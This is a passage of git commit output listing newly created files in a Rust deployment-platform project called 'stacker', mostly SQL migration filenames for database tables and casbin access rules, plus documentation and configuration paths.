mode 100644 stacker/stacker/.sqlx/query-e648979c7b4c4ced099543c181db8c71c1f4fd980368cbf872cb8954c1c7be9e.json create mode 100644 stacker/stacker/.sqlx/query-f0af06a2002ce933966cf6cfe8289ea77781df5a251a6731b42f8ddefb8a4c8b.json create mode 100644 stacker/stacker/.sqlx/query-fb07f53c015c852c4ef9e0ce52541f06835f8687122987d87fad751981b0c2b1.json create mode 100644 stacker/stacker/.sqlx/query-fc9ced694afee8f8a87e9013347e1b5f91dfb6e64e3011628922b34bbccf0ea4.json create mode 100644 stacker/stacker/.sqlx/query-fdb45a4fb83d33464cddc021f3cdfebd5dd137795ab393492b02ab517546a708.json create mode 100644 stacker/stacker/.sqlx/query-ffb567ac44b9a0525bd41392c3a865d0612bc0d3f620d5cba76a6b44a8812417.json create mode 100644 stacker/stacker/.sqlx/query-ffd49d0e0354d8d4010863204b1a1f5406b31542b6b0219d7daa1705bf7b2f37.json create mode 100644 stacker/stacker/.stacker/active-target create mode 100644 stacker/stacker/.stacker/deployment-local.lock create mode 100644 stacker/stacker/.stacker/pipe-scan-cache/f79eac4704d9c487b82a80b0f42b4d120121d1678b513eb10107c8629805d7b2.json create mode 100644 stacker/stacker/.stacker/pipe-scan-cache/latest-eedff7c5b3dd3b23b83cb17ec32d80d8cb89dd0559523389403168c11dcf1d2d.json create mode 100644 stacker/stacker/ANALYSIS_README.md create mode 100644 stacker/stacker/BUILD_RELEASE.md create mode 100644 stacker/stacker/CHANGELOG.md create mode 100644 stacker/stacker/CLAUDE.md create mode 100644 stacker/stacker/CODE_SNIPPETS.md create mode 100644 stacker/stacker/Cargo.lock create mode 100644 stacker/stacker/Cargo.toml create mode 100644 stacker/stacker/DOCKERHUB.md create mode 100644 stacker/stacker/DOCUMENTATION_MAP.txt create mode 100644 stacker/stacker/Dockerfile create mode 100644 stacker/stacker/IMPLEMENTATION_GUIDE.md create mode 100644 stacker/stacker/Makefile create mode 100644 stacker/stacker/QUICK_REFERENCE.md create mode 100644 stacker/stacker/README.md create mode 100644 stacker/stacker/START_HERE.md create mode 100644 stacker/stacker/TODO.md create mode 100644 stacker/stacker/access_control.conf.dist create mode 100644 stacker/stacker/assets/logo/stacker.png create mode 100644 stacker/stacker/build.rs create mode 100644 stacker/stacker/configuration.yaml.dist create mode 100644 stacker/stacker/copilot-instructions.md create mode 100644 stacker/stacker/crates/TODO.md create mode 100644 stacker/stacker/crates/pipe-adapter-mail/Cargo.toml create mode 100644 stacker/stacker/crates/pipe-adapter-mail/TODO.md create mode 100644 stacker/stacker/crates/pipe-adapter-mail/src/lib.rs create mode 100644 stacker/stacker/crates/pipe-adapter-sdk/Cargo.toml create mode 100644 stacker/stacker/crates/pipe-adapter-sdk/src/lib.rs create mode 100644 stacker/stacker/docker-compose.dev.yml create mode 100644 stacker/stacker/docker-compose.yml create mode 100644 stacker/stacker/docker/dev/docker-compose.yml create mode 100644 stacker/stacker/docker/dev/postgresql.conf create mode 100644 stacker/stacker/docs/AI_DEPLOYMENT_WORKFLOWS.md create mode 100644 stacker/stacker/docs/APP_DEPLOYMENT.md create mode 100644 stacker/stacker/docs/DAG_PIPES_DEVELOPER_MANUAL.md create mode 100644 stacker/stacker/docs/DAG_PIPES_PART1_CLI_GUIDE.md create mode 100644 stacker/stacker/docs/DAG_PIPES_PART2_WEB_EDITOR.md create mode 100644 stacker/stacker/docs/DAG_PIPES_PART3_API_DEEP_DIVE.md create mode 100644 stacker/stacker/docs/MCP_SERVER_BACKEND_PLAN.md create mode 100644 stacker/stacker/docs/MCP_SERVER_FRONTEND_INTEGRATION.md create mode 100644 stacker/stacker/docs/PIPING.md create mode 100644 stacker/stacker/docs/STACKER_YML_REFERENCE.md create mode 100644 stacker/stacker/docs/blog/openclaw-kata-containers-secure-ai-deployment.md create mode 100644 stacker/stacker/docs/kata/HETZNER_KVM_GUIDE.md create mode 100644 stacker/stacker/docs/kata/MONITORING.md create mode 100644 stacker/stacker/docs/kata/NETWORK_CONSTRAINTS.md create mode 100644 stacker/stacker/docs/kata/README.md create mode 100644 stacker/stacker/docs/kata/ansible/kata-setup.yml create mode 100644 stacker/stacker/docs/kata/terraform/main.tf create mode 100644 stacker/stacker/docs/kata/terraform/outputs.tf create mode 100644 stacker/stacker/docs/kata/terraform/variables.tf create mode 100755 stacker/stacker/install.sh create mode 100644 stacker/stacker/local-only-settings/.stacker/docker-compose.yml create mode 100644 stacker/stacker/local-only-settings/Dockerfile create mode 100644 stacker/stacker/local-only-settings/MULTI_SERVER_DEPLOYMENT.md create mode 100644 stacker/stacker/local-only-settings/STACKER_CLI_PLAN.md create mode 100644 stacker/stacker/local-only-settings/stacker-deploy.yml create mode 100755 stacker/stacker/migrate-postgres-18.sh create mode 100644 stacker/stacker/migrations/20230903063840_creating_rating_tables.down.sql create mode 100644 stacker/stacker/migrations/20230903063840_creating_rating_tables.up.sql create mode 100644 stacker/stacker/migrations/20230905145525_creating_stack_tables.down.sql create mode 100644 stacker/stacker/migrations/20230905145525_creating_stack_tables.up.sql create mode 100644 stacker/stacker/migrations/20230917162549_creating_test_product.down.sql create mode 100644 stacker/stacker/migrations/20230917162549_creating_test_product.up.sql create mode 100644 stacker/stacker/migrations/20231028161917_client.down.sql create mode 100644 stacker/stacker/migrations/20231028161917_client.up.sql create mode 100644 stacker/stacker/migrations/20240128174529_casbin_rule.down.sql create mode 100644 stacker/stacker/migrations/20240128174529_casbin_rule.up.sql create mode 100644 stacker/stacker/migrations/20240228125751_creating_deployments.down.sql create mode 100644 stacker/stacker/migrations/20240228125751_creating_deployments.up.sql create mode 100644 stacker/stacker/migrations/20240229072555_creating_cloud.down.sql create mode 100644 stacker/stacker/migrations/20240229072555_creating_cloud.up.sql create mode 100644 stacker/stacker/migrations/20240229075843_creating_user_stack_cloud_relation.down.sql create mode 100644 stacker/stacker/migrations/20240229075843_creating_user_stack_cloud_relation.up.sql create mode 100644 stacker/stacker/migrations/20240229080559_creating_cloud_server.down.sql create mode 100644 stacker/stacker/migrations/20240229080559_creating_cloud_server.up.sql create mode 100644 stacker/stacker/migrations/20240302081015_creating_original_request_column_project.down.sql create mode 100644 stacker/stacker/migrations/20240302081015_creating_original_request_column_project.up.sql create mode 100644 stacker/stacker/migrations/20240307113718_alter_cloud_alter_project.down.sql create mode 100644 stacker/stacker/migrations/20240307113718_alter_cloud_alter_project.up.sql create mode 100644 stacker/stacker/migrations/20240315143712_remove_cloud_id_from_server.down.sql create mode 100644 stacker/stacker/migrations/20240315143712_remove_cloud_id_from_server.up.sql create mode 100644 stacker/stacker/migrations/20240401103123_casbin_initial_rules.down.sql create mode 100644 stacker/stacker/migrations/20240401103123_casbin_initial_rules.up.sql create mode 100644 stacker/stacker/migrations/20240401184313_remove_project_id_from_cloud.down.sql create mode 100644 stacker/stacker/migrations/20240401184313_remove_project_id_from_cloud.up.sql create mode 100644 stacker/stacker/migrations/20240412141011_casbin_user_rating_edit.down.sql create mode 100644 stacker/stacker/migrations/20240412141011_casbin_user_rating_edit.up.sql create mode 100644 stacker/stacker/migrations/20240709162041_add_server_ip_ssh_user_port.down.sql create mode 100644 stacker/stacker/migrations/20240709162041_add_server_ip_ssh_user_port.up.sql create mode 100644 stacker/stacker/migrations/20240711134750_server_nullable_fields.down.sql create mode 100644 stacker/stacker/migrations/20240711134750_server_nullable_fields.up.sql create mode 100644 stacker/stacker/migrations/20240716114826_agreement_tables.down.sql create mode 100644 stacker/stacker/migrations/20240716114826_agreement_tables.up.sql create mode 100644 stacker/stacker/migrations/20240717070823_agreement_casbin_rules.down.sql create mode 100644 stacker/stacker/migrations/20240717070823_agreement_casbin_rules.up.sql create mode 100644 stacker/stacker/migrations/20240717100131_agreement_created_updated_default_now.down.sql create mode 100644 stacker/stacker/migrations/20240717100131_agreement_created_updated_default_now.up.sql create mode 100644 stacker/stacker/migrations/20240718082702_agreement_accepted.down.sql create mode 100644 stacker/stacker/migrations/20240718082702_agreement_accepted.up.sql create mode 100644 stacker/stacker/migrations/20251222160218_update_deployment_for_agents.down.sql create mode 100644 stacker/stacker/migrations/20251222160218_update_deployment_for_agents.up.sql create mode 100644 stacker/stacker/migrations/20251222160219_create_agents_and_audit_log.down.sql create mode 100644 stacker/stacker/migrations/20251222160219_create_agents_and_audit_log.up.sql create mode 100644 stacker/stacker/migrations/20251222160220_casbin_agent_rules.down.sql create mode 100644 stacker/stacker/migrations/20251222160220_casbin_agent_rules.up.sql create mode 100644 stacker/stacker/migrations/20251222163002_create_commands_and_queue.down.sql create mode 100644 stacker/stacker/migrations/20251222163002_create_commands_and_queue.up.sql create mode 100644 stacker/stacker/migrations/20251222163632_casbin_command_rules.down.sql create mode 100644 stacker/stacker/migrations/20251222163632_casbin_command_rules.up.sql create mode 100644 stacker/stacker/migrations/20251222223450_fix_commands_queue_and_updated_at.down.sql create mode 100644 stacker/stacker/migrations/20251222223450_fix_commands_queue_and_updated_at.up.sql create mode 100644 stacker/stacker/migrations/20251222224041_fix_timestamp_columns.down.sql create mode 100644 stacker/stacker/migrations/20251222224041_fix_timestamp_columns.up.sql create mode 100644 stacker/stacker/migrations/20251222225538_timestamptz_for_agents_deployments_commands.down.sql create mode 100644 stacker/stacker/migrations/20251222225538_timestamptz_for_agents_deployments_commands.up.sql create mode 100644 stacker/stacker/migrations/20251223100000_casbin_agent_rules.up.sql create mode 100644 stacker/stacker/migrations/20251223120000_project_body_to_metadata.down.sql create mode 100644 stacker/stacker/migrations/20251223120000_project_body_to_metadata.up.sql create mode 100644 stacker/stacker/migrations/20251225120000_casbin_agent_and_commands_rules.down.sql create mode 100644 stacker/stacker/migrations/20251225120000_casbin_agent_and_commands_rules.up.sql create mode 100644 stacker/stacker/migrations/20251227000000_casbin_root_admin_group.down.sql create mode 100644 stacker/stacker/migrations/20251227000000_casbin_root_admin_group.up.sql create mode 100644 stacker/stacker/migrations/20251227132000_add_group_admin_project_get_rule.down.sql create mode 100644 stacker/stacker/migrations/20251227132000_add_group_admin_project_get_rule.up.sql create mode 100644 stacker/stacker/migrations/20251227140000_casbin_mcp_endpoint.down.sql create mode 100644 stacker/stacker/migrations/20251227140000_casbin_mcp_endpoint.up.sql create mode 100644 stacker/stacker/migrations/20251229120000_marketplace.down.sql create mode 100644 stacker/stacker/migrations/20251229120000_marketplace.up.sql create mode 100644 stacker/stacker/migrations/20251229121000_casbin_marketplace_rules.down.sql create mode 100644 stacker/stacker/migrations/20251229121000_casbin_marketplace_rules.up.sql create mode 100644 stacker/stacker/migrations/20251230094608_add_required_plan_name.down.sql create mode 100644 stacker/stacker/migrations/20251230094608_add_required_plan_name.up.sql create mode 100644 stacker/stacker/migrations/20251230100000_add_marketplace_plans_rule.down.sql create mode 100644 stacker/stacker/migrations/20251230100000_add_marketplace_plans_rule.up.sql create mode 100644 stacker/stacker/migrations/20260101090000_casbin_admin_inherits_user.down.sql create mode 100644 stacker/stacker/migrations/20260101090000_casbin_admin_inherits_user.up.sql create mode 100644 stacker/stacker/migrations/20260102120000_add_category_fields.down.sql create mode 100644 stacker/stacker/migrations/20260102120000_add_category_fields.up.sql create mode 100644 stacker/stacker/migrations/20260102140000_casbin_categories_rules.down.sql create mode 100644 stacker/stacker/migrations/20260102140000_casbin_categories_rules.up.sql create mode 100644 stacker/stacker/migrations/20260103103000_casbin_marketplace_admin_creator_rules.down.sql create mode 100644 stacker/stacker/migrations/20260103103000_casbin_marketplace_admin_creator_rules.up.sql create mode 100644 stacker/stacker/migrations/20260103120000_casbin_health_metrics_rules.down.sql create mode 100644 stacker/stacker/migrations/20260103120000_casbin_health_metrics_rules.up.sql create mode 100644 stacker/stacker/migrations/20260104120000_casbin_admin_service_rules.down.sql create mode 100644 stacker/stacker/migrations/20260104120000_casbin_admin_service_rules.up.sql create mode 100644 stacker/stacker/migrations/20260105214000_casbin_dockerhub_rules.down.sql create mode 100644 stacker/stacker/migrations/20260105214000_casbin_dockerhub_rules.up.sql create mode 100644 stacker/stacker/migrations/20260106142135_remove_agents_deployment_fk.down.sql create mode 100644 stacker/stacker/migrations/20260106142135_remove_agents_deployment_fk.up.sql create mode 100644 stacker/stacker/migrations/20260106143528_20260106_casbin_user_rating_idempotent.down.sql create mode 100644 stacker/stacker/migrations/20260106143528_20260106_casbin_user_rating_idempotent.up.sql create mode 100644 stacker/stacker/migrations/20260107123000_admin_service_role_inheritance.down.sql create mode 100644 stacker/stacker/migrations/20260107123000_admin_service_role_inheritance.up.sql create mode 100644 stacker/stacker/migrations/20260109133000_extend_deployment_hash_length.down.sql create mode 100644 stacker/stacker/migrations/20260109133000_extend_deployment_hash_length.up.sql create mode 100644 stacker/stacker/migrations/20260112120000_remove_commands_deployment_fk.down.sql create mode 100644 stacker/stacker/migrations/20260112120000_remove_commands_deployment_fk.up.sql create mode 100644 stacker/stacker/migrations/20260113000001_fix_command_queue_fk.down.sql create mode 100644 stacker/stacker/migrations/20260113000001_fix_command_queue_fk.up.sql create mode 100644 stacker/stacker/migrations/20260113000002_fix_audit_log_timestamp.down.sql create mode 100644 stacker/stacker/migrations/20260113000002_fix_audit_log_timestamp.up.sql create mode 100644 stacker/stacker/migrations/20260113120000_add_deployment_capabilities_acl.up.sql create mode 100644 stacker/stacker/migrations/20260114120000_casbin_agent_enqueue_rules.down.sql create mode 100644 stacker/stacker/migrations/20260114120000_casbin_agent_enqueue_rules.up.sql create mode 100644 stacker/stacker/migrations/20260114160000_casbin_agent_role_fix.down.sql create mode 100644 stacker/stacker/migrations/20260114160000_casbin_agent_role_fix.up.sql create mode 100644 stacker/stacker/migrations/20260115120000_casbin_command_client_rules.down.sql create mode 100644 stacker/stacker/migrations/20260115120000_casbin_command_client_rules.up.sql create mode 100644 stacker/stacker/migrations/20260122120000_create_project_app_table.down.sql create mode 100644 stacker/stacker/migrations/20260122120000_create_project_app_table.up.sql create mode 100644 stacker/stacker/migrations/20260123120000_server_selection_columns.down.sql create mode 100644 stacker/stacker/migrations/20260123120000_server_selection_columns.up.sql create mode 100644 stacker/stacker/migrations/20260123140000_casbin_server_rules.down.sql create mode 100644 stacker/stacker/migrations/20260123140000_casbin_server_rules.up.sql create mode 100644 stacker/stacker/migrations/20260128120000_insert_casbin_rule_agent_deployments_get.up.sql create mode 100644 stacker/stacker/migrations/20260129120000_add_config_versioning.down.sql create mode 100644 stacker/stacker/migrations/20260129120000_add_config_versioning.up.sql create mode 100644 stacker/stacker/migrations/20260129150000_add_config_files_to_project_app.down.sql create mode 100644 stacker/stacker/migrations/20260129150000_add_config_files_to_project_app.up.sql create mode 100644 stacker/stacker/migrations/20260130120000_add_config_files_to_project_app.down.sql create mode 100644 stacker/stacker/migrations/20260130120000_add_config_files_to_project_app.up.sql create mode 100644 stacker/stacker/migrations/20260131120000_casbin_commands_post_rules.down.sql create mode 100644 stacker/stacker/migrations/20260131120000_casbin_commands_post_rules.up.sql create mode 100644 stacker/stacker/migrations/20260131121000_casbin_apps_status_rules.down.sql create mode 100644 stacker/stacker/migrations/20260131121000_casbin_apps_status_rules.up.sql create mode 100644 stacker/stacker/migrations/20260202120000_add_parent_app_code.down.sql create mode 100644 stacker/stacker/migrations/20260202120000_add_parent_app_code.up.sql create mode 100644 stacker/stacker/migrations/20260204120000_casbin_container_discovery_rules.down.sql create mode 100644 stacker/stacker/migrations/20260204120000_casbin_container_discovery_rules.up.sql create mode 100644 stacker/stacker/migrations/20260206120000_casbin_project_app_rules.down.sql create mode 100644 stacker/stacker/migrations/20260206120000_casbin_project_app_rules.up.sql create mode 100644 stacker/stacker/migrations/20260209120000_casbin_root_to_group_admin.down.sql create mode 100644 stacker/stacker/migrations/20260209120000_casbin_root_to_group_admin.up.sql create mode 100644 stacker/stacker/migrations/20260210130000_casbin_admin_template_detail.down.sql create mode 100644 stacker/stacker/migrations/20260210130000_casbin_admin_template_detail.up.sql create mode 100644 stacker/stacker/migrations/20260210140000_casbin_admin_security_scan.down.sql create mode 100644 stacker/stacker/migrations/20260210140000_casbin_admin_security_scan.up.sql create mode 100644 stacker/stacker/migrations/20260210150000_casbin_resubmit_template.down.sql create mode 100644 stacker/stacker/migrations/20260210150000_casbin_resubmit_template.up.sql create mode 100644 stacker/stacker/migrations/20260210160000_casbin_admin_unapprove.down.sql create mode 100644 stacker/stacker/migrations/20260210160000_casbin_admin_unapprove.up.sql create mode 100644 stacker/stacker/migrations/20260211100000_add_pricing_to_stack_template.down.sql create mode 100644 stacker/stacker/migrations/20260211100000_add_pricing_to_stack_template.up.sql create mode 100644 stacker/stacker/migrations/20260211120000_add_deployment_id_to_project_app.down.sql create mode 100644 stacker/stacker/migrations/20260211120000_add_deployment_id_to_project_app.up.sql create mode 100644 stacker/stacker/migrations/20260213100000_add_cloud_id_to_server.down.sql create mode 100644 stacker/stacker/migrations/20260213100000_add_cloud_id_to_server.up.sql create mode 100644 stacker/stacker/migrations/20260217120000_casbin_server_ssh_validate.down.sql create mode 100644 stacker/stacker/migrations/20260217120000_casbin_server_ssh_validate.up.sql create mode 100644 stacker/stacker/migrations/20260218100000_fix_casbin_container_discovery_paths.down.sql create mode 100644 stacker/stacker/migrations/20260218100000_fix_casbin_container_discovery_paths.up.sql create mode 100644 stacker/stacker/migrations/20260219120000_create_chat_conversations.down.sql create mode 100644 stacker/stacker/migrations/20260219120000_create_chat_conversations.up.sql create mode 100644 stacker/stacker/migrations/20260219130000_casbin_chat_rules.down.sql create mode 100644 stacker/stacker/migrations/20260219130000_casbin_chat_rules.up.sql create mode 100644 stacker/stacker/migrations/20260225120000_casbin_deployment_status_rules.down.sql create mode 100644 stacker/stacker/migrations/20260225120000_casbin_deployment_status_rules.up.sql create mode 100644 stacker/stacker/migrations/20260304220000_fix_casbin_agent_register_anon.down.sql create mode 100644 stacker/stacker/migrations/20260304220000_fix_casbin_agent_register_anon.up.sql create mode 100644 stacker/stacker/migrations/20260306120000_add_cloud_name.down.sql create mode 100644 stacker/stacker/migrations/20260306120000_add_cloud_name.up.sql create mode 100644 stacker/stacker/migrations/20260306190000_casbin_client_role_mapping.down.sql create mode 100644 stacker/stacker/migrations/20260306190000_casbin_client_role_mapping.up.sql create mode 100644 stacker/stacker/migrations/20260311140000_casbin_deployments_list.down.sql create mode 100644 stacker/stacker/migrations/20260311140000_casbin_deployments_list.up.sql create mode 100644 stacker/stacker/migrations/20260312120000_casbin_deployment_force_complete.down.sql create mode 100644 stacker/stacker/migrations/20260312120000_casbin_deployment_force_complete.up.sql create mode 100644 stacker/stacker/migrations/20260312210000_command_queue_cleanup_cron.down.sql create mode 100644 stacker/stacker/migrations/20260312210000_command_queue_cleanup_cron.up.sql create mode 100644 stacker/stacker/migrations/20260319120000_casbin_agent_login_link_rules.down.sql create mode 100644 stacker/stacker/migrations/20260319120000_casbin_agent_login_link_rules.up.sql create mode 100644 stacker/stacker/migrations/20260320120000_create_pipe_tables.down.sql create mode 100644 stacker/stacker/migrations/20260320120000_create_pipe_tables.up.sql create mode 100644 stacker/stacker/migrations/20260321000000_agent_audit_log.down.sql create mode 100644 stacker/stacker/migrations/20260321000000_agent_audit_log.up.sql create mode 100644 stacker/stacker/migrations/20260324120000_casbin_deployment_hash_rule.down.sql create mode 100644 stacker/stacker/migrations/20260324120000_casbin_deployment_hash_rule.up.sql create mode 100644 stacker/stacker/migrations/20260324130000_casbin_agent_project_rule.down.sql create mode 100644 stacker/stacker/migrations/20260324130000_casbin_agent_project_rule.up.sql create mode 100644 stacker/stacker/migrations/20260324140000_casbin_admin_compose_rule.down.sql create mode 100644 stacker/stacker/migrations/20260324140000_casbin_admin_compose_rule.up.sql create mode 100644 stacker/stacker/migrations/20260325100000_casbin_template_reviews_rule.down.sql create mode 100644 stacker/stacker/migrations/20260325100000_casbin_template_reviews_rule.up.sql create mode 100644 stacker/stacker/migrations/20260325140000_casbin_admin_compose_group_admin.down.sql create mode 100644 stacker/stacker/migrations/20260325140000_casbin_admin_compose_group_admin.up.sql create mode 100644 stacker/stacker/migrations/20260330100000_add_verifications_to_stack_template.down.sql create mode 100644 stacker/stacker/migrations/20260330100000_add_verifications_to_stack_template.up.sql create mode 100644 stacker/stacker/migrations/20260330110000_casbin_admin_verifications_rule.down.sql create mode 100644 stacker/stacker/migrations/20260330110000_casbin_admin_verifications_rule.up.sql create mode 100644 stacker/stacker/migrations/20260331132000_casbin_dockerhub_events_rule.down.sql create mode 100644 stacker/stacker/migrations/20260331132000_casbin_dockerhub_events_rule.up.sql create mode 100644 stacker/stacker/migrations/20260331140000_deployment_fk_cascade.down.sql create mode 100644 stacker/stacker/migrations/20260331140000_deployment_fk_cascade.up.sql create mode 100644 stacker/stacker/migrations/20260406170000_add_runtime_to_deployment.down.sql create mode 100644 stacker/stacker/migrations/20260406170000_add_runtime_to_deployment.up.sql create mode 100644 stacker/stacker/migrations/20260410120000_create_pipe_executions.down.sql create mode 100644 stacker/stacker/migrations/20260410120000_create_pipe_executions.up.sql create mode 100644 stacker/stacker/migrations/20260411161000_add_infrastructure_requirements_to_stack_template.down.sql create mode 100644 stacker/stacker/migrations/20260411161000_add_infrastructure_requirements_to_stack_template.up.sql create mode 100644 stacker/stacker/migrations/20260412073000_create_marketplace_vendor_profile.down.sql create mode 100644 stacker/stacker/migrations/20260412073000_create_marketplace_vendor_profile.up.sql create mode 100644 stacker/stacker/migrations/20260412092300_add_needs_changes_status_to_stack_template.down.sql create mode 100644 stacker/stacker/migrations/20260412092300_add_needs_changes_status_to_stack_template.up.sql create mode 100644 stacker/stacker/migrations/20260412093000_casbin_admin_needs_changes_rule.down.sql create mode 100644 stacker/stacker/migrations/20260412093000_casbin_admin_needs_changes_rule.up.sql create mode 100644 stacker/stacker/migrations/20260412100000_casbin_admin_vendor_profile_rule.down.sql create mode 100644 stacker/stacker/migrations/20260412100000_casbin_admin_vendor_profile_rule.up.sql create mode 100644 stacker/stacker/migrations/20260412102000_casbin_template_vendor_profile_status_rule.down.sql create mode 100644 stacker/stacker/migrations/20260412102000_casbin_template_vendor_profile_status_rule.up.sql create mode 100644 stacker/stacker/migrations/20260412104000_casbin_self_vendor_profile_rule.down.sql create mode 100644 stacker/stacker/migrations/20260412104000_casbin_self_vendor_profile_rule.up.sql create mode 100644 stacker/stacker/migrations/20260412110000_casbin_creator_onboarding_link_rule.down.sql create mode 100644 stacker/stacker/migrations/20260412110000_casbin_creator_onboarding_link_rule.up.sql create mode 100644 stacker/stacker/migrations/20260412112000_casbin_creator_onboarding_complete_rule.down.sql create mode 100644 stacker/stacker/migrations/20260412112000_casbin_creator_onboarding_complete_rule.up.sql create mode 100644 stacker/stacker/migrations/20260412113000_casbin_handoff_rules.down.sql create mode 100644 stacker/stacker/migrations/20260412113000_casbin_handoff_rules.up.sql create mode 100644 stacker/stacker/migrations/20260413083000_casbin_project_rollback_rule.down.sql create mode 100644 stacker/stacker/migrations/20260413083000_casbin_project_rollback_rule.up.sql create mode 100644 stacker/stacker/migrations/20260413084500_create_project_member_table.down.sql create mode 100644 stacker/stacker/migrations/20260413084500_create_project_member_table.up.sql create mode 100644 stacker/stacker/migrations/20260413085000_casbin_project_member_rule.down.sql create mode 100644 stacker/stacker/migrations/20260413085000_casbin_project_member_rule.up.sql create mode 100644 stacker/stacker/migrations/20260413093000_casbin_project_shared_rule.down.sql create mode 100644 stacker/stacker/migrations/20260413093000_casbin_project_shared_rule.up.sql create mode 100644 stacker/stacker/migrations/20260413101500_casbin_project_member_manage_rules.down.sql create mode 100644 stacker/stacker/migrations/20260413101500_casbin_project_member_manage_rules.up.sql create mode 100644 stacker/stacker/migrations/20260424164000_agreement_api_casbin_rules.down.sql create mode 100644 stacker/stacker/migrations/20260424164000_agreement_api_casbin_rules.up.sql create mode 100644 stacker/stacker/migrations/20260426000000_seed_agreement.down.sql create mode 100644 stacker/stacker/migrations/20260426000000_seed_agreement.up.sql create mode 100644 stacker/stacker/migrations/20260426113914_enrich_marketplace_template_form.down.sql create mode 100644 stacker/stacker/migrations/20260426113914_enrich_marketplace_template_form.up.sql create mode 100644 stacker/stacker/migrations/20260426121500_casbin_marketplace_deploy_complete.down.sql create mode 100644 stacker/stacker/migrations/20260426121500_casbin_marketplace_deploy_complete.up.sql create mode 100644 stacker/stacker/migrations/20260426121600_marketplace_deploy_complete_events.down.sql create mode 100644 stacker/stacker/migrations/20260426121600_marketplace_deploy_complete_events.up.sql create mode 100644 stacker/stacker/migrations/20260426143000_marketplace_version_assets.down.sql create mode 100644 stacker/stacker/migrations/20260426143000_marketplace_version_assets.up.sql create mode 100644 stacker/stacker/migrations/20260426150000_marketplace_version_contract_mirror.down.sql create mode 100644 stacker/stacker/migrations/20260426150000_marketplace_version_contract_mirror.up.sql create mode 100644 stacker/stacker/migrations/20260426162000_marketplace_creator_analytics.down.sql create mode 100644 stacker/stacker/migrations/20260426162000_marketplace_creator_analytics.up.sql create mode 100644 stacker/stacker/migrations/20260426171000_casbin_marketplace_v1_asset_rules.down.sql create mode 100644 stacker/stacker/migrations/20260426171000_casbin_marketplace_v1_asset_rules.up.sql create mode 100644 stacker/stacker/migrations/20260502120000_create_remote_secret_table.down.sql create mode 100644 stacker/stacker/migrations/20260502120000_create_remote_secret_table.up.sql create mode 100644 stacker/stacker/migrations/20260502221500_add_casbin_remote_secret_rules.down.sql create mode 100644 stacker/stacker/migrations/20260502221500_add_casbin_remote_secret_rules.up.sql create mode 100644 stacker/stacker/migrations/20260504083000_add_api_v1_remote_secret_casbin_rules.down.sql create mode 100644 stacker/stacker/migrations/20260504083000_add_api_v1_remote_secret_casbin_rules.up.sql create mode 100644 stacker/stacker/migrations/20260508162000_casbin_agent_notifications_rule.down.sql create mode 100644 stacker/stacker/migrations/20260508162000_casbin_agent_notifications_rule.up.sql create mode 100644 stacker/stacker/migrations/20260714120000_casbin_pipe_rules.down.sql create mode 100644 stacker/stacker/migrations/20260714120000_casbin_pipe_rules.up.sql create mode 100644 stacker/stacker/migrations/20260715120000_casbin_audit_capabilities_rules.down.sql create mode 100644 stacker/stacker/migrations/20260715120000_casbin_audit_capabilities_rules.up.sql create mode 100644 stacker/stacker/migrations/20260716120000_casbin_admin_pricing_rule.down.sql create mode 100644 stacker/stacker/migrations/20260716120000_casbin_admin_pricing_rule.up.sql create mode 100644 stacker/stacker/migrations/20260717120000_create_dag_tables.down.sql create mode 100644 stacker/stacker/migrations/20260717120000_create_dag_tables.up.sql create mode 100644 stacker/stacker/migrations/20260717120001_casbin_dag_routes.down.sql create mode 100644 stacker/stacker/migrations/20260717120001_casbin_dag_routes.up.sql create mode 100644 stacker/stacker/migrations/20260717120002_create_resilience_tables.down.sql create mode 100644 stacker/stacker/migrations/20260717120002_create_resilience_tables.up.sql create mode 100644 stacker/stacker/migrations/20260717120003_casbin_resilience_routes.down.sql create mode 100644 stacker/stacker/migrations/20260717120003_casbin_resilience_routes.up.sql create mode 100644 stacker/stacker/migrations/20260717120004_casbin_dag_execution_routes.down.sql create mode 100644 stacker/stacker/migrations/20260717120004_casbin_dag_execution_routes.up.sql create mode 100644 stacker/stacker/migrations/20260717120005_casbin_prometheus_metrics.down.sql create mode 100644 stacker/stacker/migrations/20260717120005_casbin_prometheus_metrics.up.sql create mode 100644 stacker/stacker/migrations/20260717120006_casbin_streaming_routes.down.sql create mode 100644 stacker/stacker/migrations/20260717120006_casbin_streaming_routes.up.sql create mode 100644 stacker/stacker/migrations/20260717120007_streaming_step_types.down.sql create mode 100644 stacker/stacker/migrations/20260717120007_streaming_step_types.up.sql create mode 100644 stacker/stacker/migrations/20260717120008_casbin_field_match.down.sql create mode 100644 stacker/stacker/migrations/20260717120008_casbin_field_match.up.sql create mode 100644 stacker/stacker/migrations/20260717120009_cdc_tables.down.sql create mode 100644 stacker/stacker/migrations/20260717120009_cdc_tables.up.sql create mode 100644 stacker/stacker/migrations/20260717120010_casbin_editor_policy.down.sql create mode 100644 stacker/stacker/migrations/20260717120010_casbin_editor_policy.up.sql create mode 100644 stacker/stacker/migrations/20260717120011_pipe_local_mode.down.sql create mode 100644 stacker/stacker/migrations/20260717120011_pipe_local_mode.up.sql create mode 100644 stacker/stacker/migrations/20260717120012_marketplace_event.down.sql create mode 100644 stacker/stacker/migrations/20260717120012_marketplace_event.up.sql create mode 100644 stacker/stacker/migrations/20260717120013_casbin_creator_vendor_group_user.down.sql create mode 100644 stacker/stacker/migrations/20260717120013_casbin_creator_vendor_group_user.up.sql create mode 100644 stacker/stacker/migrations/20260717120014_casbin_server_ssh_authorize_public_key.down.sql create mode 100644 stacker/stacker/migrations/20260717120014_casbin_server_ssh_authorize_public_key.up.sql create mode 100644 stacker/stacker/migrations/20260717120015_cleanup_nginx_proxy_manager_project_apps.down.sql create mode 100644 stacker/stacker/migrations/20260717120015_cleanup_nginx_proxy_manager_project_apps.up.sql create mode 100644 stacker/stacker/migrations/20260717120016_casbin_cloud_firewall.down.sql create mode 100644 stacker/stacker/migrations/20260717120016_casbin_cloud_firewall.up.sql create mode 100644 stacker/stacker/migrations/20260717120017_casbin_project_app_delete.down.sql create mode 100644 stacker/stacker/migrations/20260717120017_casbin_project_app_delete.up.sql create mode 100644 stacker/stacker/migrations/20260717120018_casbin_mcp_remote_secret_tools.down.sql create mode 100644 stacker/stacker/migrations/20260717120018_casbin_mcp_remote_secret_tools.up.sql create mode 100644 stacker/stacker/migrations/20260717120019_casbin_mcp_ai_deployment_tools.down.sql create mode 100644 stacker/stacker/migrations/20260717120019_casbin_mcp_ai_deployment_tools.up.sql create mode 100644 stacker/stacker/migrations/20260717120020_pipe_instance_adapters.down.sql create mode 100644 stacker/stacker/migrations/20260717120020_pipe_instance_adapters.up.sql create mode 100644 stacker/stacker/migrations/20260718120000_remove_anonymous_deployment_capabilities.down.sql create mode 100644 